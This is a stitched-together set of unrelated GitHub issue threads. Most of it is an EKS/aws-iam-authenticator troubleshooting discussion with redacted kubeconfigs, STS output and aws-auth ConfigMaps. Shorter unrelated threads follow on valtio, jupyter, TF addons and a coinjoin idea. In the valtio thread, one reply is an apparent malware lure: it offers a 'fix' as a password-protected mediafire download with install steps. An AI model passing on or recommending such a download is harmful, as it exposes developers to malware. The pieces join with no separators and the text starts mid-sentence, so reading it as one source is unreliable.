Add book form.
Contact info.
Make sure that when you click on any of the links, the main area changes to display only one of the three content sections.

To change the contents of the page, don't use any library or framework, use only plain JavaScript and CSS.

I think the result it's very close to the wireframe provided.

As usual, I really appreciate your kindly help 🙏.
Thanks 👍, until next time!
Cheers,
Luis 👋
PS. For the record, this week my paired coding partner left the Microverse program, that's why I worked "solo" below is a screenshot of TS response that I got on Wednesday.

Hello @Kamba56, sorry, I forgot to add the PS in the PR. But yes... I worked "solo" this week, my coding partner left the program. I've already submitted another code review. Thanks!!


error: You must be logged in to the server (Unauthorized)

Error:
~/bin » kubectl get svc
error: the server doesn't have a resource type "svc"
~/bin » kubectl get nodes
error: You must be logged in to the server (Unauthorized)
~/bin » kubectl get secrets
error: You must be logged in to the server (Unauthorized)

KUBECONFIG
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://localhost:6443
  name: docker-for-desktop-cluster
- cluster:
    certificate-authority-data: REDACTED
    server: https://REDACTED.us-east-1.eks.amazonaws.com
  name: eksdemo
- cluster:
    certificate-authority-data: REDACTED
    server: https://api.k8s.domain.com
  name: k8s
contexts:
- context:
    cluster: eksdemo
    user: aws
  name: aws
- context:
    cluster: k8s
    user: k8s
  name: devcap
- context:
    cluster: docker-for-desktop-cluster
    user: docker-for-desktop
  name: docker-for-desktop
- context:
    cluster: k8s
    user: k8s
  name: k8s
current-context: aws
kind: Config
preferences: {}
users:
- name: aws
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1alpha1
      args:
      - token
      - -i
      - eksdemo
      - -r
      - arn:aws:iam::REDACTED:role/eks_role
      command: heptio-authenticator-aws
      env:
      - name: AWS_PROFILE
        value: k8sdev
- name: docker-for-desktop
  user:
    client-certificate-data: REDACTED
    client-key-data: REDACTED
- name: k8s
  user:
    client-certificate-data: REDACTED
    client-key-data: REDACTED
    password: REDACTED
    username: admin
- name: k8s-basic-auth
  user:
    password: REDACTED
    username: admin
- name: k8s-token
  user:
    client-certificate-data: REDACTED
    client-key-data: REDACTED
    token: REDACTED

STS Assume
AWS_PROFILE=k8sdev aws sts assume-role --role-arn arn:aws:iam::REDACTED:role/eks_role --role-session-name test
{
    "Credentials": {
        "AccessKeyId": "REDACTED",
        "SecretAccessKey": "REDACTED",
        "SessionToken": "REDACTED",
        "Expiration": "2018-06-21T21:15:58Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "REDACTED:test",
        "Arn": "arn:aws:sts::REDACTED:assumed-role/eks_role/test"
    }
}

exports
~/bin » echo $AWS_PROFILE
k8sdev
~/bin » echo $DEFAULT_ROLE
arn:aws:iam::REDACTED:role/eks_role

heptio-authenticator-aws token
~/bin » heptio-authenticator-aws token -i eksdemo
{"kind":"ExecCredential","apiVersion":"client.authentication.k8s.io/v1alpha1","spec":{},"status":{"token":"k8s-aws-v1.REDACTED"}}

Is arn:aws:iam::REDACTED:role/eks_role registered with your cluster? Or did you do the cluster creation with that role assumed?
If not use the credentials of the user that created the cluster and remove that role from your KUBECONFIG then you can register that role with it.

Role was created for the cluster EKS create cluster.
User creating through console uses SAML provided role.
I forgot to output I used the same assume role to describe cluster showing
ACTIVE. So this seems to only be related with Authenticator.
On Sat, Jun 23, 2018 at 7:58 PM Christopher Hein<EMAIL_ADDRESS>wrote:

Is arn:aws:iam::REDACTED:role/eks_role registered with your cluster? Or
did you do the cluster creation with that role assumed?
If not use the credentials of the user that created the cluster and remove
that role from your KUBECONFIG then you can register that role with it.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/kubernetes-sigs/aws-iam-authenticator/issues/105#issuecomment-399718323,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAr84VWtYUakzpruZw2q6Q_1Ryoz-iF2ks5t_tYpgaJpZM4Uyta6
.

So the user that created the cluster do you have access to credentials directly for that user? You will need to use those credentials to do the initial setup, then you can add additional roles to access.

@cdenneen The user used to create the cluster will have to access it through kubectl.  This user can add rolemappings to allow other users/roles access.

@christopherhein @nckturner I'm not sure I follow.
We use SAML Federated Logins for AWS.
So in the console there are roles for developer, operator, sysadmin, etc that our Federated logins get mapped to.

If that "user" is the only one that can access kubectl that doesn't seem correct and I believe this is the exact reason that the -r options were added to the KUBECONFIG (if I used the user that created it then I wouldn't need to assume the role with -r):
      - -r
      - arn:aws:iam::REDACTED:role/eks_role

So this would allow any user that can assume the eks_role to access the cluster because in fact eks_role is the ONLY role we have that has EKS permissions.
When I create the cluster eks_role is the ONLY one available since it's the only one with eks_perms:

So now anyone with trust relationship on eks_role should be able to assume that role and be able to have access to the cluster through kubectl.
Using the aws cli I can access the cluster when I assume the role so I know this behavior works... it's just the heptio-authenticator-aws piece that's having the issue.

The Role ARN you are inputting when creating the cluster isn't for user authentication. It's meant to give the control plane access to create AWS resources in your account for the cloud controller manager.
What you need to do is the user or assumed user that you used when going through and clicking "Create Cluster" in the GUI that user or assumed user role is what should be put into the KUBECONFIG, does that make more sense?

@christopherhein yes but as I mentioned when all our users login they will get different roles in their Federated logins...
Some will get Developer, Operator, Sysadmin, etc.
So creating through the console assuming one of these roles would make it so that a developer and a sysadmin couldn't kubectl the same cluster.
What is the -r  role used for in the KUBECONFIG?
I could use eks_role for the cluster control plane
I could create another role say eks_admin for users to assume with -r? (what perms does this eks_admin role need?)
I could setup trust relationship on eks_admin to Developer, Operator, Sysadmin?
Then everyone could control via kubectl?

I believe you have hit one of the more confusing aspects of the user experience, but let me try to explain.  Whatever role/user you used to create the cluster, is automatically granted system:masters.  You should then use that user/assume that role to modify the authenticator configmap, and add any additional mappings for admins, devs, etc.  Right now you cannot modify that admin user, but this is on our roadmap.

What is the -r role used for in the KUBECONFIG?

This is role that is the authenticator will assume before crafting the token, i.e. it is the identity of the user.  This role arn should also be present in the configmap, where it should be mapped to a kubernetes user and groups.
This blog post might help, specifically section 3 (Configure Role Permissions via Kubernetes RBAC).  The authenticator configmap and RBAC setup is similar regardless of what type of AWS identity you have, i.e. user, role, federated user, ...

I could create another role say eks_admin for users to assume with -r? (what perms does this eks_admin role need?)

You can have as many roles as you want for users to assume, they just need to all be present in the authenticator configmap.

Thanks even that blog says “have EKS cluster running and accessible via
kubectl” which is the crux of my issue.
It appears it’s because EKS doesn’t yet support Federation login so since
my login is Federated I have no easy way to access via kubectl.
I have AWS ticket open that I think between trying to get the SAML response
and this article I should be able to generate temp keys that I can use to
access the EKS cluster. Will try to piece something together.
On Wed, Jun 27, 2018 at 8:39 PM Nicholas Turner<EMAIL_ADDRESS>wrote:

I believe you have hit one of the more confusing aspects of the user
experience, but let me try to explain. Whatever role/user you used to
create the cluster, is automatically granted system:masters. You should
then use that user/assume that role to modify the authenticator configmap,
and add any additional mappings for admins, devs, etc. Right now you cannot
modify that admin user, but this is on our roadmap.
What is the -r role used for in the KUBECONFIG?
This is role that is the authenticator will assume before crafting the
token, i.e. it is the identity of the user. This role arn should also be
present in the configmap, where it should be mapped to a kubernetes user
and groups.
This blog post
https://aws.amazon.com/blogs/opensource/integrating-ldap-ad-users-kubernetes-rbac-aws-iam-authenticator-project/
might help, specifically section 3 (Configure Role Permissions via
Kubernetes RBAC). The authenticator configmap and RBAC setup is similar
regardless of what type of AWS identity you have, i.e. user, role,
federated user, ...
I could create another role say eks_admin for users to assume with -r?
(what perms does this eks_admin role need?)
You can have as many roles as you want for users to assume, they just need
to all be present in the authenticator configmap.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/kubernetes-sigs/aws-iam-authenticator/issues/105#issuecomment-400874054,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAr84bJ21AtU-M3bKpP14ZAFffV807piks5uBCWngaJpZM4Uyta6
.

Hello,
I think I'm experiencing a similar issue here. Maybe it's just that I don't get the user experience as @nckturner said.
When I try to interact with the cluster I can't manage to get the authentication right.
users:
- name: aws
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1alpha1
      command: heptio-authenticator-aws
      args:
        - "token"
        - "-i"
        - "dev"
        - "-r"
        - "arn:aws:iam::XXX:user/ZZZ" # This user is the one I used to create the cluster
      env:
        - name: "AWS_PROFILE"
          value: "my-profile"

When I run KUBECONFIG=~/.kube/config kubectl version I get:
Unable to connect to the server: getting token: exec: exit status 1

If I try AWS_PROFILE=my-profile heptio-authenticator-aws token -r arn:aws:iam::XXX:user/ZZZ -i dev  I get:
could not get token: AccessDenied: Roles may not be assumed by root accounts.
	status code: 403, request id: 99cb4031-7a70-11e8-9791-0fe6c964a840

I also added the IAM user that created the cluster to the trusted relationships of the ArnRole that is assigned to the cluster.
Any ideas ?

@nckturner Any ideas ?

Sorry for the late response @bilby91, did you manage to get past this?  Did you use the root account to create the cluster?

@nckturner Thanks for the reply!
I couldn't solve the issue yet. I'm 100% sure that the cluster creator is a plain IAM user and not the root one.
Any ideas on what to try ?

@bilby91 First make sure aws sts get-caller-identity returns the same arn as the one in the auth map.

@nckturner Confimed that aws sts get-caller-identity --profile my-profile returns the same user's arn than the one in the auth mapping. In the case of the example, arn:aws:iam::XXX:user/ZZZ, the cluster creator.

@nckturner I also tried changing the default configuration so that I don't have to use the profile option and I'm in the same situation.
So, what I'm a little bit confused about is the following. My user, in this case XXX:user/ZZZ will need to assume the role of itself ? Asking this because that is my understanding of the -r flag in heptio-authenticator-aws. The error seems reasonable:
could not get token: AccessDenied: User arn:aws:iam::XXX:user/ZZZ is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::XXX:user/ZZZ

Okey, I think I have solved the issue. It seems that I had some hidden env vars for AWS that seem to have been overriding the AWS_PROFILE option. Would AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY have more preference over AWS_PROFILE env vars ?

@bilby91 nice!  Yeah I'm not sure of the precedence, but that sounds right.  (For others: unset AWS_ACCESS_KEY_ID, unset AWS_SECRET_ACCESS_KEY and unset AWS_SESSION_TOKEN if you don't want to use them).

@bilby91 Were you able to use AWS federation to resolve the issue with KubeConfig?

Got it working now. Thanks!

@jmakanjuola Were you able to use AWS federation to resolve the issue with KubeConfig?

@cdenneen did you get answer from aws for federation  login?

@sarslans Yes I was able to get this working. AWS response was to use sts assume-role-with-saml  which I was able to accomplish using https://github.com/dtjohnson/aws-azure-login since we are using Azure AD as our SAML provider. This allows me to use the role I federate as and generate temp access/secret with.

Sorry to comment on a closed ticket, but I am having this same issue, also using aws-azure-login.  I cannot seem to figure out how to get a role to authorize.  I added a given role under the mapRoles section of the ConfigMap.
  mapRoles: |     - rolearn: arn:aws:iam::XXX:role/WorkerInstanceRole       username: system:node:{{EC2PrivateDNSName}}       groups:         - system:bootstrappers         - system:nodes     - rolearn: arn:aws:iam::XXX:role/MyCompany/Administrator       username: administrator       groups:         - system:masters
When creating the cluster, my role was
`
aws --profile dev_nonbaa sts get-caller-identity
{
"Account": "XXX",
"UserId": "abcdefg:blackb3",
"Arn": "arn:aws:sts::XXX:assumed-role/Administrator/blackb3"
}
Lastly my cluster config user section
users:

name: black-dev-admin
user:
exec:
apiVersion: client.authentication.k8s.io/v1alpha1
command: aws-iam-authenticator
args:
- "token"
- "-i"
- "EKSCluster--dev"
env:
- name: AWS_PROFILE
value: "dev_nonbaa"
`
@cdenneen Can you elaborate more on how you got this working?

@BlackBsd
That's exactly what I have:
apiVersion: v1
kind: ConfigMap
metadata:
  name: aws-auth
  namespace: kube-system
data:
  mapRoles: |
    - rolearn: arn:aws:iam::XXXXXXXXXX:role/ekscluster-workers1-NodeInstanceRole-1VY13IIH9VLKW
      username: system:node:{{EC2PrivateDNSName}}
      groups:
        - system:bootstrappers
        - system:nodes
    - rolearn: arn:aws:iam::XXXXXXXXXX:role/AWS_Root_Role
      username: role_root
      groups:
        - system:masters
    - rolearn: arn:aws:iam::XXXXXXXXXX:role/AWS_SysAdmin_Role
      username: role_sysadmin
      groups:
        - system:masters

Your kubeconfig is missing the arn to match though:
- name: black-dev-admin
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1alpha1
      args:
      - token
      - -i
      - ekscluster
      - -r
      - arn:aws:iam::XXXXXXXXXX:role/AWS_SysAdmin_Role
      command: aws-iam-authenticator
      env:
      - name: AWS_PROFILE
        value: dev_nonbaa

And whichever role you assumed when creating the cluster is the one you'll want to be assuming in aws-azure-login and inside your kubeconfig... once you add all additional roles to the configMap you can use the others but initially you have to use the one that created it.

FYI, you can't get the token via an MFA user. It will throw a simple error:

@dreampuf Can you explain what you mean? With the configuration above I am able to get this to work without an issue. So I believe @BlackBsd issue was just missing the -r ARN and should work once added.

For example, if you have a user has been forced to authorize with Multifactor. Like this:
// AWS policy
 {
            "Condition": {
                "BoolIfExists": {
                    "aws:MultiFactorAuthPresent": "false"
                }
            },
            "Resource": "*",
            "Effect": "Deny",
            "NotAction": [
                "iam:*"
            ],
            "Sid": "ForceToUseMFA"
        }

You can't use that account call the AWS Security Token Service (aws sts get-session-token). That's the principle of aws-iam-authenticator communicate to AWS.
I just post my found here in case if anyone else has the same problem as me.

@dreampuf
Can you Edit your ~/.aws/config to add the role_arn and MFA serial number into a new profile:
[profile read-only]
region=us-east-1

[profile admin]
source_profile = read-only
role_arn = arn:aws:iam::123456789012:role/admin-access
mfa_serial = arn:aws:iam::123456789012:mfa/dreampuf

Then if you specify the kubeconfig file like this:
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1alpha1
      command: aws-iam-authenticator
      args:
        - "token"
        - "-i"
        - "<cluster-name>"
        # - "-r"
        # - "<role-arn>"
      env:
        - name: AWS_PROFILE
          value: "admin"

This will actually use a different code path through the SDK and you will be prompted for an MFA.

Released! https://aws.amazon.com/about-aws/whats-new/2018/09/amazon-eks-simplifies-cluster-setup-with-update-kubeconfig-cli-command/

I'll post this here for anyone else running into this, I realise the ticket is closed but hope to help someone.
Even after reading this whole thread, it still took me a good hour to figure out why my cluster is returning error: the server doesn't have a resource type "svc" when calling kubectl get svc.  Context is everything, if your setup is different the following probably won't work, this is for folks who use SAML federated logins via a script that does sts assume-role-with-saml under the hood (Azure AD, OneLogin, Okta), this results in temporary credentials which are typically stored in the ~/.aws/credentials file.  In many cases multiple accounts are used so there may be a dev, prod, or other profile section in that file.
Steps to take:

Login as you normally would to generate temporary credentials in ~/.aws/credentials.
Verify AWS_PROFILE=<profile> aws-iam-authenticator token -i <cluster_name> works. In my case, it returned a token without errors.
Make sure to unset any lingering AWS_* variables, this bit me, I didn't think it mattered and didn't realise it was messing things up.
Generated the kube config with aws --profile=<profile> eks update-kubeconfig --name <cluster_name>, this creates a file at something like ~/.kube/config.
Edit ~/.kube/config to add the AWS_PROFILE env variable, this should be the same profile you used to launch the cluster.
kubectl get svc should work. \o/

Issue:  openshift okd cluster can run any command, oc status , oc get svc ...
error logs:
oc status
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
error: You must be logged in to the server (Unauthorized)
workaround:~
you need to login in your cluster first, but I don´t know why have to login first.
$oc login
then input the account/password which you create the cluster. then everything is working well

Someone please help, will send funds:
https://stackoverflow.com/questions/56227322/passing-eks-token-to-other-kubectl-cli-commands
will upvote the shit out of your answer if you can help thanks

I got around this problem by changing AWS_PROFILE in ~/.kube/config to AWS_DEFAULT_PROFILE in the env: section.


Remove jupyter for now

There is a dependency conflict between jupyter and vizier that pip can not resolve it appears. So jupyter has to be installed after vizier to have the correct package installed. Let's remove jupyter for now then and users can pip install jupyter themselves if them want to use the notebooks. We can create a page on the documentation for notebooks and make sure this step is reflected. Sound good @srivatsankrishnan? I tested and notebook works fine though once you have right version installed.

You can delete the branch when you merge it @srivatsankrishnan


valtio throws Uncaught TypeError: proxyState is not iterable when calling useSnapshot in react with "Please use proxy object" warning

The issue, I believe, is that useSnapshot is expecting a valtio proxy but is at some point being sent a valtio-zod proxy instead. The weird thing is, the snapshot seems to update when modifying. My best guess right (now is that it's being passed the wrong value followed by the correct value, but I'm at a loss as to why so far. I thought it might be because I was updating the target using Reflect.set https://github.com/valtiojs/valtio-zod/blob/main/src/index.ts#L148, but removing it doesn't change anything. Any ideas?
There's an example of what I'm talking about in /examples/react

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Fixed with most recent release.


Allow user to set HOT_RELOAD_PORT from ENV

@steida I'm gonna merge this, it non-breaking change.

Sure. Thank you.


Randomsprite colours stopped working

At least for carps, didn't check the others. It was working last time I touched it.

What's the intended behavior? I tried spawning a few different things that have RandomSprite and they seemed to vary their colors, if that's all they're supposed to do (they weren't animated, the items just had different colors from each other):

I did check a bunch of different carp - holocarp, magicarp, and space carp [DragonBrood] don't seem to vary but they also don't have the RandomSprite component applied to them


Remove dev from r0.8 branch

Release process is extremely simple now. After merging I'll publish a release and after confirming it all works I'll update https://github.com/tensorflow/community/blob/master/sigs/addons/RELEASE.md

Looks good. So, we are testing things on the stable versions of TF now and not on nightly, right?

Yes, we use the stable version.

Cool. Thanks


Change-Id: I6bbc976c7265f23ec4a998cfdb49454809b2c3e7

jenkins run tests please

Included in this pr: https://github.com/ibm-openbmc/phosphor-networkd/pull/90


Add setup.py

Support pip install

Make sure to specify minimum python vesrion (when did pathlib.Path come into existence, and, when did the f'string exist?).


idea: implement coinjoin

createTX

output: 1bitcoin
amount: 1BTC
useCoinJoin: true

coinJoinToSignTimeout: 1hr
coinJoinToBroadcastTimeout: 24hr
coinJoinTimeoutPolicy: broadcastWithoutCoinJoin | rejectByServer

Transaction will be available to be sign
once coinjoin is available, or if timeout is reached,and broadcastWithoutcoinjoin
is set as policy.

Coinjoin 'nr of required tx to mix' could be defined at server level

if broadcastWithoutcoinjoin signed sign 2 TXs: with and without coinjoin.

Once the joined TX is created, there is coinJoinToBroadcastTimeout time for signer to sign the TX. If
txs are not signed (or rejected by "cojoinsigners", coinJoinTimeoutPolicy is used

+1.